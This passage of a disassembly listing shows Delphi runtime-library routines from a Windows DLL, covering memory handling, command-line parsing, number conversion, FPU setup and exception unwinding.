loc_1000243C ; --------------------------------------------------------------------------- loc_100023AB: ; CODE XREF: sub_10002384+12j ; sub_10002384+1Bj xor edx, edx push ebp push offset loc_10002435 push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_1000A035, 0 jz short loc_100023CC push offset dword_1000A5B4 call sub_100010E4 ; RtlEnterCriticalSection loc_100023CC: ; CODE XREF: sub_10002384+3Cj mov edx, esi mov eax, ebx call sub_100021A8 test al, al jz short loc_100023DE mov [ebp+var_4], ebx jmp short loc_10002414 ; --------------------------------------------------------------------------- loc_100023DE: ; CODE XREF: sub_10002384+53j mov eax, esi call sub_10001E74 mov edi, eax mov eax, ebx sub eax, 4 mov eax, [eax] and eax, 7FFFFFFCh sub eax, 4 cmp esi, eax jge short loc_100023FC mov eax, esi loc_100023FC: ; CODE XREF: sub_10002384+74j test edi, edi jz short loc_10002411 mov edx, edi mov ecx, ebx xchg eax, ecx call sub_1000254C mov eax, ebx call sub_10002004 loc_10002411: ; CODE XREF: sub_10002384+7Aj mov [ebp+var_4], edi loc_10002414: ; CODE XREF: sub_10002384+58j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000243C loc_10002421: ; CODE XREF: sub_10002384+B6j cmp ds:byte_1000A035, 0 jz short locret_10002434 push offset dword_1000A5B4 call sub_100010EC ; RtlLeaveCriticalSection locret_10002434: ; CODE XREF: sub_10002384+A4j retn ; --------------------------------------------------------------------------- loc_10002435: ; DATA XREF: sub_10002384+2Ao jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10002421 ; --------------------------------------------------------------------------- loc_1000243C: ; CODE XREF: sub_10002384+22j ; DATA XREF: sub_10002384+98o mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn sub_10002384 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002448 proc near ; CODE XREF: sub_1000315C+Cp ; sub_10003DA8+Cp ... push ebx test eax, eax jle short loc_10002462 call ds:off_10008024 mov ebx, eax test ebx, ebx jnz short loc_10002464 mov al, 1 call sub_10002530 ; --------------------------------------------------------------------------- jmp short loc_10002464 ; --------------------------------------------------------------------------- loc_10002462: ; CODE XREF: sub_10002448+3j xor ebx, ebx loc_10002464: ; CODE XREF: sub_10002448+Fj ; sub_10002448+18j mov eax, ebx pop ebx retn sub_10002448 endp ; =============== S U B R O U T I N E ======================================= sub_10002468 proc near ; CODE XREF: sub_100030C4+1Cp ; sub_100030E8+21p ... push ebx test eax, eax jz short loc_10002482 call ds:off_10008028 mov ebx, eax test ebx, ebx jz short loc_10002484 mov al, 2 call sub_10002530 ; --------------------------------------------------------------------------- jmp short loc_10002484 ; --------------------------------------------------------------------------- loc_10002482: ; CODE XREF: sub_10002468+3j xor ebx, ebx loc_10002484: ; CODE XREF: sub_10002468+Fj ; sub_10002468+18j mov eax, ebx pop ebx retn sub_10002468 endp ; =============== S U B R O U T I N E ======================================= sub_10002488 proc near ; CODE XREF: sub_10003280+22p ; sub_10003E38+B9p ... mov ecx, [eax] test ecx, ecx jz short loc_100024C0 test edx, edx jz short loc_100024AA push eax mov eax, ecx call ds:off_1000802C pop ecx or eax, eax jz short loc_100024B9 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_100024A3: ; CODE XREF: sub_10002488+2Ej mov al, 2 jmp sub_10002530 ; --------------------------------------------------------------------------- loc_100024AA: ; CODE XREF: sub_10002488+8j mov [eax], edx mov eax, ecx call ds:off_10008028 or eax, eax jnz short loc_100024A3 retn ; --------------------------------------------------------------------------- loc_100024B9: ; CODE XREF: sub_10002488+16j ; sub_10002488+48j mov al, 1 jmp sub_10002530 ; --------------------------------------------------------------------------- loc_100024C0: ; CODE XREF: sub_10002488+4j test edx, edx jz short locret_100024D4 push eax mov eax, edx call ds:off_10008024 pop ecx or eax, eax jz short loc_100024B9 mov [ecx], eax locret_100024D4: ; CODE XREF: sub_10002488+3Aj retn sub_10002488 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_100024D8 proc near ; CODE XREF: sub_100024E4+42p ; CODE:10002CCBp mov ds:dword_10008004, edx call sub_100030AC sub_100024D8 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_100024E4 proc near ; CODE XREF: sub_10002530+6j push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:dword_1000A008, 0 jz short loc_10002500 mov edx, esi mov eax, ebx call ds:dword_1000A008 loc_10002500: ; CODE XREF: sub_100024E4+10j test bl, bl jnz short loc_10002511 call sub_10003628 mov ebx, [eax+4] jmp short loc_10002520 ; --------------------------------------------------------------------------- loc_10002511: ; CODE XREF: sub_100024E4+1Ej cmp bl, 18h ja short loc_10002520 xor eax, eax mov al, bl mov bl, ds:byte_10008030[eax] loc_10002520: ; CODE XREF: sub_100024E4+2Bj ; sub_100024E4+30j xor eax, eax mov al, bl mov edx, esi call sub_100024D8 sub_100024E4 endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_10002530 proc near ; CODE XREF: sub_10002448+13p ; sub_10002468+13p ... and eax, 7Fh mov edx, [esp+0] jmp sub_100024E4 sub_10002530 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_1000253C proc near ; CODE XREF: sub_100026E4+38p ; sub_100026E4+4Cp push ebx mov ebx, eax call sub_10003628 mov [eax+4], ebx pop ebx retn sub_1000253C endp ; =============== S U B R O U T I N E ======================================= sub_1000254C proc near ; CODE XREF: sub_10002384+81p ; sub_10003118+1Bp ... push esi push edi mov esi, eax mov edi, edx mov eax, ecx cmp edi, esi ja short loc_1000256B jz short loc_10002589 sar ecx, 2 js short loc_10002589 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn ; --------------------------------------------------------------------------- loc_1000256B: ; CODE XREF: sub_1000254C+Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] sar ecx, 2 js short loc_10002589 std rep movsd mov ecx, eax and ecx, 3 add esi, 3 add edi, 3 rep movsb cld loc_10002589: ; CODE XREF: sub_1000254C+Cj ; sub_1000254C+11j ... pop edi pop esi retn sub_1000254C endp ; =============== S U B R O U T I N E ======================================= sub_1000258C proc near ; CODE XREF: sub_10002678+41p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax jmp short loc_1000259E ; --------------------------------------------------------------------------- loc_10002596: ; CODE XREF: sub_1000258C+1Aj push ebx call sub_10001028 ; CharNextA mov ebx, eax loc_1000259E: ; CODE XREF: sub_1000258C+8j ; sub_1000258C+2Aj mov al, [ebx] test al, al jz short loc_100025A8 cmp al, 20h jbe short loc_10002596 loc_100025A8: ; CODE XREF: sub_1000258C+16j cmp byte ptr [ebx], 22h jnz short loc_100025B8 cmp byte ptr [ebx+1], 22h jnz short loc_100025B8 add ebx, 2 jmp short loc_1000259E ; --------------------------------------------------------------------------- loc_100025B8: ; CODE XREF: sub_1000258C+1Fj ; sub_1000258C+25j xor ebp, ebp mov edi, ebx jmp short loc_10002601 ; --------------------------------------------------------------------------- loc_100025BE: ; CODE XREF: sub_1000258C+79j cmp al, 22h jnz short loc_100025F3 push ebx call sub_10001028 ; CharNextA mov ebx, eax jmp short loc_100025DA ; --------------------------------------------------------------------------- loc_100025CC: ; CODE XREF: sub_1000258C+56j push ebx call sub_10001028 ; CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_100025DA: ; CODE XREF: sub_1000258C+3Ej mov al, [ebx] test al, al jz short loc_100025E4 cmp al, 22h jnz short loc_100025CC loc_100025E4: ; CODE XREF: sub_1000258C+52j cmp byte ptr [ebx], 0 jz short loc_10002601 push ebx call sub_10001028 ; CharNextA mov ebx, eax jmp short loc_10002601 ; --------------------------------------------------------------------------- loc_100025F3: ; CODE XREF: sub_1000258C+34j push ebx call sub_10001028 ; CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_10002601: ; CODE XREF: sub_1000258C+30j ; sub_1000258C+5Bj ... mov al, [ebx] cmp al, 20h ja short loc_100025BE mov eax, esi mov edx, ebp call sub_10003280 mov ebx, edi mov edi, [esi] xor esi, esi jmp short loc_10002669 ; --------------------------------------------------------------------------- loc_10002618: ; CODE XREF: sub_1000258C+E1j cmp al, 22h jnz short loc_10002654 push ebx call sub_10001028 ; CharNextA mov ebx, eax jmp short loc_1000263B ; --------------------------------------------------------------------------- loc_10002626: ; CODE XREF: sub_1000258C+B7j push ebx call sub_10001028 ; CharNextA cmp eax, ebx jbe short loc_1000263B loc_10002630: ; CODE XREF: sub_1000258C+ADj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_10002630 loc_1000263B: ; CODE XREF: sub_1000258C+98j ; sub_1000258C+A2j mov al, [ebx] test al, al jz short loc_10002645 cmp al, 22h jnz short loc_10002626 loc_10002645: ; CODE XREF: sub_1000258C+B3j cmp byte ptr [ebx], 0 jz short loc_10002669 push ebx call sub_10001028 ; CharNextA mov ebx, eax jmp short loc_10002669 ; --------------------------------------------------------------------------- loc_10002654: ; CODE XREF: sub_1000258C+8Ej push ebx call sub_10001028 ; CharNextA cmp eax, ebx jbe short loc_10002669 loc_1000265E: ; CODE XREF: sub_1000258C+DBj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_1000265E loc_10002669: ; CODE XREF: sub_1000258C+8Aj ; sub_1000258C+BCj ... mov al, [ebx] cmp al, 20h ja short loc_10002618 mov eax, ebx pop ebp pop edi pop esi pop ebx retn sub_1000258C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002678 proc near ; CODE XREF: sub_100072F4+177p var_114 = byte ptr -114h push ebx push esi push edi add esp, 0FFFFFEF8h mov ebx, edx mov esi, eax mov eax, ebx call sub_100030C4 test esi, esi jnz short loc_100026AE push 105h lea eax, [esp+118h+var_114] push eax push 0 call sub_10001058 ; GetModuleFileNameA mov ecx, eax mov edx, esp mov eax, ebx call sub_10003188 jmp short loc_100026CC ; --------------------------------------------------------------------------- loc_100026AE: ; CODE XREF: sub_10002678+16j call sub_10001048 ; GetCommandLineA mov edi, eax loc_100026B5: ; CODE XREF: sub_10002678+52j mov edx, ebx mov eax, edi call sub_1000258C mov edi, eax test esi, esi jz short loc_100026CC cmp dword ptr [ebx], 0 jz short loc_100026CC dec esi jmp short loc_100026B5 ; --------------------------------------------------------------------------- loc_100026CC: ; CODE XREF: sub_10002678+34j ; sub_10002678+4Aj ... add esp, 108h pop edi pop esi pop ebx retn sub_10002678 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100026D8 proc near ; CODE XREF: sub_100037E0+28p var_8 = qword ptr -8 sub esp, 8 fistp [esp+8+var_8] wait pop eax pop edx retn sub_100026D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100026E4 proc near ; CODE XREF: CODE:10003472p ; CODE:1000347Cp ... push ebx push esi mov ebx, eax xor esi, esi mov ax, [ebx+4] cmp ax, 0D7B1h jb short loc_10002723 cmp ax, 0D7B3h ja short loc_10002723 and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_1000270B mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_1000270B: ; CODE XREF: sub_100026E4+1Ej test esi, esi jnz short loc_10002716 mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_10002716: ; CODE XREF: sub_100026E4+29j test esi, esi jz short loc_10002735 mov eax, esi call sub_1000253C jmp short loc_10002735 ; --------------------------------------------------------------------------- loc_10002723: ; CODE XREF: sub_100026E4+Ej ; sub_100026E4+14j cmp ebx, offset dword_1000A038 jz short loc_10002735 mov eax, 67h call sub_1000253C loc_10002735: ; CODE XREF: sub_100026E4+34j ; sub_100026E4+3Dj ... mov eax, esi pop esi pop ebx retn sub_100026E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000273C proc near ; CODE XREF: sub_10003798+2p ; sub_10003DA8+1Cp ... push edi mov edi, eax mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, edx sar ecx, 2 js short loc_10002759 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_10002759: ; CODE XREF: sub_1000273C+12j pop edi retn sub_1000273C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000275C proc near ; CODE XREF: sub_100033E0+41p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_100027D2 xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_1000276F: ; CODE XREF: sub_1000275C+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_1000276F mov ch, 0 cmp bl, 2Dh jz short loc_100027E0 cmp bl, 2Bh jz short loc_100027E2 loc_10002783: ; CODE XREF: sub_1000275C+89j cmp bl, 24h jz short loc_100027E7 cmp bl, 78h jz short loc_100027E7 cmp bl, 58h jz short loc_100027E7 cmp bl, 30h jnz short loc_100027AA mov bl, [esi] inc esi cmp bl, 78h jz short loc_100027E7 cmp bl, 58h jz short loc_100027E7 test bl, bl jz short loc_100027C8 jmp short loc_100027AE ; --------------------------------------------------------------------------- loc_100027AA: ; CODE XREF: sub_1000275C+39j test bl, bl jz short loc_100027DB loc_100027AE: ; CODE XREF: sub_1000275C+4Cj ; sub_1000275C+6Aj sub bl, 30h cmp bl, 9 ja short loc_100027DB cmp eax, edi ja short loc_100027DB lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_100027AE loc_100027C8: ; CODE XREF: sub_1000275C+4Aj dec ch jz short loc_100027D5 test eax, eax jge short loc_10002824 jmp short loc_100027DB ; --------------------------------------------------------------------------- loc_100027D2: ; CODE XREF: sub_1000275C+8j ; sub_1000275C+95j inc esi jmp short loc_100027DB ; --------------------------------------------------------------------------- loc_100027D5: ; CODE XREF: sub_1000275C+6Ej neg eax jle short loc_10002824 js short loc_10002824 loc_100027DB: ; CODE XREF: sub_1000275C+50j ; sub_1000275C+58j ... pop ebx sub esi, ebx jmp short loc_10002827 ; --------------------------------------------------------------------------- loc_100027E0: ; CODE XREF: sub_1000275C+20j inc ch loc_100027E2: ; CODE XREF: sub_1000275C+25j mov bl, [esi] inc esi jmp short loc_10002783 ; --------------------------------------------------------------------------- loc_100027E7: ; CODE XREF: sub_1000275C+2Aj ; sub_1000275C+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_100027D2 loc_100027F3: ; CODE XREF: sub_1000275C+C0j cmp bl, 61h jb short loc_100027FB sub bl, 20h loc_100027FB: ; CODE XREF: sub_1000275C+9Aj sub bl, 30h cmp bl, 9 jbe short loc_1000280E sub bl, 11h cmp bl, 5 ja short loc_100027DB add bl, 0Ah loc_1000280E: ; CODE XREF: sub_1000275C+A5j cmp eax, edi ja short loc_100027DB shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_100027F3 dec ch jnz short loc_10002824 neg eax loc_10002824: ; CODE XREF: sub_1000275C+72j ; sub_1000275C+7Bj ... pop ecx xor esi, esi loc_10002827: ; CODE XREF: sub_1000275C+82j mov [edx], esi pop edi pop esi pop ebx retn sub_1000275C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10002830 proc near ; CODE XREF: sub_10002838+5p ; sub_10002838+11p jmp ds:dword_1000B0E8 sub_10002830 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002838 proc near ; CODE XREF: CODE:100034FEp push ebx xor ebx, ebx push 0 call sub_10002830 ; GetKeyboardType cmp eax, 7 jnz short loc_10002863 push 1 call sub_10002830 ; GetKeyboardType and eax, 0FF00h cmp eax, 0D00h jz short loc_10002861 cmp eax, 400h jnz short loc_10002863 loc_10002861: ; CODE XREF: sub_10002838+20j mov bl, 1 loc_10002863: ; CODE XREF: sub_10002838+Dj ; sub_10002838+27j mov eax, ebx pop ebx retn sub_10002838 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10002868 proc near ; CODE XREF: CODE:10003507p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h movzx eax, ds:word_1000800C mov [ebp+var_8], eax lea eax, [ebp+var_4] push eax push 1 push 0 push offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL" push 80000002h call sub_10001078 ; RegOpenKeyExA test eax, eax jnz short loc_100028E0 xor eax, eax push ebp push offset loc_100028D9 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_C], 4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push 0 push 0 push offset aFpumaskvalue ; "FPUMaskValue" mov eax, [ebp+var_4] push eax call sub_10001080 ; RegQueryValueExA xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100028E0 loc_100028CF: ; CODE XREF: sub_10002868+76j mov eax, [ebp+var_4] push eax call sub_10001070 ; RegCloseKey retn ; --------------------------------------------------------------------------- loc_100028D9: ; DATA XREF: sub_10002868+2Eo jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_100028CF ; --------------------------------------------------------------------------- loc_100028E0: ; CODE XREF: sub_10002868+29j ; DATA XREF: sub_10002868+62o mov ax, ds:word_1000800C and ax, 0FFC0h mov dx, word ptr [ebp+var_8] and dx, 3Fh or ax, dx mov ds:word_1000800C, ax mov esp, ebp pop ebp retn sub_10002868 endp ; --------------------------------------------------------------------------- align 10h aSoftwareBorlan db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_10002868+18o aFpumaskvalue db 'FPUMaskValue',0 ; DATA XREF: sub_10002868+4Co align 4 ; =============== S U B R O U T I N E ======================================= sub_1000292C proc near ; CODE XREF: sub_10002DBC-368p ; CODE:10002D02p ... fninit wait fldcw ds:word_1000800C retn sub_1000292C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002938 proc near ; CODE XREF: CODE:10002B53j ; sub_10002B98+30p ... test eax, eax jz short locret_10002943 mov dl, 1 mov ecx, [eax] call dword ptr [ecx-4] locret_10002943: ; CODE XREF: sub_10002938+2j retn sub_10002938 endp ; =============== S U B R O U T I N E ======================================= sub_10002944 proc near ; CODE XREF: sub_10002B98+35p cmp ds:byte_10008010, 1 jbe short locret_1000295E push 0 push 0 push 0 push 0EEDFADFh call ds:off_1000A010 locret_1000295E: ; CODE XREF: sub_10002944+7j retn sub_10002944 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10002960 proc near ; CODE XREF: sub_10002DBC-33Bp cmp ds:byte_10008010, 0 jz short locret_10002980 push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call ds:off_1000A010 add esp, 8 pop eax locret_10002980: ; CODE XREF: sub_10002960+7j retn sub_10002960 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_1000299C loc_10002984: ; CODE XREF: sub_1000299C+Bj push esp push 1 push 0 push 0EEDFAE0h call ds:off_1000A010 add esp, 4 pop eax retn ; END OF FUNCTION CHUNK FOR sub_1000299C ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000299C proc near ; CODE XREF: sub_10002DBC-28Bp ; FUNCTION CHUNK AT 10002984 SIZE 00000015 BYTES cmp ds:byte_10008010, 1 jbe short locret_100029AC push eax push ebx jmp loc_10002984 ; --------------------------------------------------------------------------- locret_100029AC: ; CODE XREF: sub_1000299C+7j retn sub_1000299C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100029B0 proc near ; CODE XREF: sub_100029D0+Cp test ecx, ecx jz short locret_100029CD mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_100029C8 cmp byte ptr [ecx], 0EBh jnz short locret_100029CD movsx eax, al inc ecx inc ecx jmp short loc_100029CB ; --------------------------------------------------------------------------- loc_100029C8: ; CODE XREF: sub_100029B0+Aj add ecx, 5 loc_100029CB: ; CODE XREF: sub_100029B0+16j add ecx, eax locret_100029CD: ; CODE XREF: sub_100029B0+2j ; sub_100029B0+Fj retn sub_100029B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100029D0 proc near ; CODE XREF: sub_10001788+13FDp cmp ds:byte_10008010, 1 jbe short locret_100029F6 push eax push edx push ecx call sub_100029B0 push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:off_1000A010 pop ecx pop ecx pop edx pop eax locret_100029F6: ; CODE XREF: sub_100029D0+7j retn sub_100029D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100029F8 proc near ; CODE XREF: sub_10002BEC+28p cmp ds:byte_10008010, 1 jbe short locret_10002A13 push edx push esp push 1 push 0 push 0EEDFAE2h call ds:off_1000A010 pop edx locret_10002A13: ; CODE XREF: sub_100029F8+7j retn sub_100029F8 endp ; =============== S U B R O U T I N E ======================================= sub_10002A14 proc near ; CODE XREF: CODE:loc_10002D49p push eax push edx cmp ds:byte_10008010, 1 jbe short loc_10002A2F push esp push 2 push 0 push 0EEDFAE3h call ds:off_1000A010 loc_10002A2F: ; CODE XREF: sub_10002A14+9j pop edx pop eax retn sub_10002A14 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_10002DBC loc_10002A34: ; CODE XREF: sub_10002DBC:loc_10002E02j ; sub_10002E1C:loc_10002E62j ... mov eax, [esp-4+arg_0] test dword ptr [eax+4], 6 jnz loc_10002B58 cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_10002AC1 cld call sub_1000292C mov edx, ds:dword_1000A00C test edx, edx jz loc_10002B58 call edx test eax, eax jz loc_10002B58 mov edx, [esp-4+arg_8] mov ecx, [esp-4+arg_0] cmp dword ptr [ecx], 0EEFFACEh jz short loc_10002AB8 call sub_10002960 cmp ds:byte_10008014, 0 jbe short loc_10002AB8 cmp ds:byte_10008010, 0 ja short loc_10002AB8 lea ecx, [esp-4+arg_0] push eax push ecx call sub_10001018 ; UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_10002B58 mov edx, eax mov eax, [esp+4] mov ecx, [eax+0Ch] jmp short loc_10002AE8 ; --------------------------------------------------------------------------- loc_10002AB8: ; CODE XREF: sub_10002DBC-33Dj ; sub_10002DBC-32Fj ... mov edx, eax mov eax, [esp-4+arg_0] mov ecx, [eax+0Ch] loc_10002AC1: ; CODE XREF: sub_10002DBC-36Bj cmp ds:byte_10008014, 1 jbe short loc_10002AE8 cmp ds:byte_10008010, 0 ja short loc_10002AE8 push eax lea eax, [esp+arg_0] push edx push ecx push eax call sub_10001018 ; UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_10002B58 loc_10002AE8: ; CODE XREF: sub_10002DBC-306j ; sub_10002DBC-2F4j ... or dword ptr [eax+4], 2 push ebx xor ebx, ebx push esi push edi push ebp mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+20h+arg_0] push 0 push eax push offset loc_10002B0C push edx call ds:off_1000A014 loc_10002B0C: ; DATA XREF: sub_10002DBC-2BCo mov edi, [esp+30h+var_8] call sub_10003628 push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset sub_10002B38 add ebx, 5 call sub_1000299C jmp ebx ; END OF FUNCTION CHUNK FOR sub_10002DBC ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10002B38 proc near ; DATA XREF: sub_10002DBC-295o jmp loc_10002B60 sub_10002B38 endp ; --------------------------------------------------------------------------- call sub_10003628 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_10002938 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10002DBC loc_10002B58: ; CODE XREF: sub_10002DBC-37Dj ; sub_10002DBC-35Bj ... mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_10002DBC ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_10001788 loc_10002B60: ; CODE XREF: sub_10001788:loc_1000183Ej ; sub_1000184C:loc_10001922j ... mov eax, [esp+4] mov edx, [esp+arg_0] test dword ptr [eax+4], 6 jz short loc_10002B90 mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_10002B90 push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_100029D0 call ecx pop ebp pop edi pop esi pop ebx loc_10002B90: ; CODE XREF: sub_10001788+13E7j ; DATA XREF: sub_10001788+13ECo mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_10001788 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002B98 proc near ; CODE XREF: sub_10002DBC+50p ; sub_10002E1C+50p ... arg_2C = dword ptr 30h mov eax, [esp+arg_2C] mov dword ptr [eax+4], offset loc_10002BE3 call sub_10003628 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+0Ch] and dword ptr [eax+4], 0FFFFFFFDh cmp dword ptr [eax], 0EEDFADEh jz short loc_10002BD2 mov eax, [edx+8] call sub_10002938 call sub_10002944 loc_10002BD2: ; CODE XREF: sub_10002B98+2Bj xor eax, eax add esp, 14h mov edx, fs:[eax] pop ecx mov edx, [edx] mov [ecx], edx pop ebp pop edi pop esi pop ebx loc_10002BE3: ; DATA XREF: sub_10002B98+4o mov eax, 1 retn sub_10002B98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002BEC proc near ; CODE XREF: sub_10002DBC+55p ; sub_10002E1C+55p ... arg_2C = dword ptr 30h call sub_10003628 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+8] call sub_10002938 pop edx mov esp, [esp-4+arg_2C] xor eax, eax pop ecx mov fs:[eax], ecx pop eax pop ebp call sub_100029F8 jmp edx sub_10002BEC endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_10002C1C proc near ; CODE XREF: sub_10001E74+F5p ; sub_10001E74+14Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor edx, edx mov ecx, [esp+arg_4] mov eax, [esp+arg_0] add ecx, 5 mov fs:[edx], eax call ecx retn 0Ch sub_10002C1C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_10002C34: ; CODE XREF: CODE:10002D34j ; CODE:10002D40j push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [edx] cmp eax, 0C0000092h jg short loc_10002C6F jz short loc_10002CA1 cmp eax, 0C000008Eh jg short loc_10002C61 jz short loc_10002CA5 sub eax, 0C0000005h jz short loc_10002CB1 sub eax, 87h jz short loc_10002C99 dec eax jz short loc_10002CAD jmp short loc_10002CC1 ; --------------------------------------------------------------------------- loc_10002C61: ; CODE XREF: CODE:10002C4Aj add eax, 3FFFFF71h sub eax, 2 jb short loc_10002CA1 jz short loc_10002C9D jmp short loc_10002CC1 ; --------------------------------------------------------------------------- loc_10002C6F: ; CODE XREF: CODE:10002C41j cmp eax, 0C0000096h jg short loc_10002C87 jz short loc_10002CB5 sub eax, 0C0000093h jz short loc_10002CAD dec eax jz short loc_10002C95 dec eax jz short loc_10002CA9 jmp short loc_10002CC1 ; --------------------------------------------------------------------------- loc_10002C87: ; CODE XREF: CODE:10002C74j sub eax, 0C00000FDh jz short loc_10002CBD sub eax, 3Dh jz short loc_10002CB9 jmp short loc_10002CC1 ; --------------------------------------------------------------------------- loc_10002C95: ; CODE XREF: CODE:10002C80j mov al, 0C8h jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002C99: ; CODE XREF: CODE:10002C5Aj mov al, 0C9h jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002C9D: ; CODE XREF: CODE:10002C6Bj mov al, 0CDh jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002CA1: ; CODE XREF: CODE:10002C43j ; CODE:10002C69j mov al, 0CFh jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002CA5: ; CODE XREF: CODE:10002C4Cj mov al, 0C8h jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002CA9: ; CODE XREF: CODE:10002C83j mov al, 0D7h jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002CAD: ; CODE XREF: CODE:10002C5Dj ; CODE:10002C7Dj mov al, 0CEh jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002CB1: ; CODE XREF: CODE:10002C53j mov al, 0D8h jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002CB5: ; CODE XREF: CODE:10002C76j mov al, 0DAh jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002CB9: ; CODE XREF: CODE:10002C91j mov al, 0D9h jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002CBD: ; CODE XREF: CODE:10002C8Cj mov al, 0CAh jmp short loc_10002CC3 ; --------------------------------------------------------------------------- loc_10002CC1: ; CODE XREF: CODE:10002C5Fj ; CODE:10002C6Dj ... mov al, 0FFh loc_10002CC3: ; CODE XREF: CODE:10002C97j ; CODE:10002C9Bj ... and eax, 0FFh mov 